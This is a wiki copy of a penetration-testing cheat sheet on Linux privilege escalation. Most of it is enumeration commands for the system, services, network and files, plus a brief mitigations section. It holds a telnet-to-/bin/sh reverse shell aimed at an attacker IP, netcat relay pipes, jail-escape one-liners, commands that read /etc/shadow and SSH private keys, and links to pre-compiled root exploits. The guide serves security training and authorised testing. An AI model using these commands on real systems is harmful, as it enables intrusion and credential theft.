GoWiki | wiki | Basic Linux Privilege Escalation

# Basic Linux Privilege Escalation

https://medium.com/@hakluke/haklukes-ultimate-oscp-guide-part-3-practical-hacking-tips-and-tricks-c38486f5fc97

Source: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Before starting, I would like to point out - I'm no expert. As far as I know, there isn't a "magic" answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more "things" to look for. It's just a basic & rough guide. Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that "little thing" as "the devil is in the detail".

Enumeration is the key.
(Linux) privilege escalation is all about:

Collect - Enumeration, more enumeration and some more enumeration.
Process - Sort through data, analyse and prioritisation.
Search - Know what to search for and where to find the exploit code.
Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
Try - Get ready for (lots of) trial and error.

## Operating System

### What's the distribution type? What version?

```
cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release      # Debian based
  cat /etc/redhat-release   # Redhat based
```
### What's the kernel version? Is it 64-bit?

```
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
```

### What can be learnt from the environmental variables?

```
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
# Is there a printer?
lpstat -a
```

## Applications & Services

### What services are running? Which service has which user privilege?

```
ps aux
ps -ef
top
cat /etc/services
```

### Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

```
ps aux | grep root
ps -ef | grep root
```

### What applications are installed? What version are they? Are they currently running?

```
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
```

### Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

```
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
```

### What jobs are scheduled?

```
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

### Any plain text usernames and/or passwords?

```
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla
```

## Communications & Networking

### What NIC(s) does the system have? Is it connected to another network?

```
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
```

### What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

```
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
```

### What other users & hosts are communicating with the system?

```
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
```

### Whats cached? IP and/or MAC addresses

```
arp -e
route
/sbin/route -nee
```

### Is packet sniffing possible? What can be seen? Listen to live traffic

```
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
```
Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

### Have you got a shell? Can you interact with the system?

```
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!
```
Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

### Is port forwarding possible? Redirect and interact with traffic from another view
Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

```
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
```
Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

```
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port
```
Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

```
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)
```

### Is tunnelling possible? Send commands locally, remotely

```
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
```

## Confidential Information & Users

### Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

```
id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l
```

### What sensitive files can be found?

```
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
```

### Anything "interesting" in the home directorie(s)? If it's possible to access

```
ls -ahlR /root/
ls -ahlR /home/
```

### Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

```
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
```

### What has the user being doing? Is there any password in plain text? What have they been edting?

```
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
```

### What user information can be found?

```
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
```

### Can private-key information be found?

```
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
```

## File Systems

### Which configuration files can be written in /etc/? Able to reconfigure a service?

```
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone
```

### What can be found in /var/ ?

```
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
```

### Any settings/files (hidden) on website? Any settings file with database information?

```
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
```

### Is there anything in the log file(s) (Could help with "Local File Includes"!)

```
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
```

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/

### If commands are limited, you break out of the "jail" shell?

```
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
```

### How are file-systems mounted?

```
mount
df -h
```

### Are there any unmounted file-systems?

```
cat /etc/fstab
```

### What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

```
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i $ -perm -4000 -o -perm -2000 $ -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -exec ls -ld {} \; 2>/dev/null
```

### Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

```
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / $ -perm -o w -perm -o x $ -type d 2>/dev/null   # world-writeable & executable folders
```

### Any "problem" files? Word-writeable, "nobody" files

```
find / -xdev -type d $ -perm -0002 -a ! -perm -1000 $ -print   # world-writeable files
find /dir -xdev $ -nouser -o -nogroup $ -print   # Noowner files
```

## Preparation & Finding Exploit Code

### What development tools/languages are installed/supported?

```
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
```

### How can files be uploaded?

```
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
```

### Finding exploit code

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

Finding more information regarding the exploit
http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

## Mitigations
Is any of the above information easy to find?
Try doing it! Setup a cron job which automates script(s) and/or 3rd party products

### Is the system fully patched?
Kernel, operating system, all applications, their plugins and web services

```
apt-get update && apt-get upgrade
yum update
```

### Are services running with the minimum level of privileges required?
For example, do you need to run MySQL as root?

Scripts Can any of this be automated?!
http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

Other (quick) guides & Links
## Enumeration
http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

## Misc
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html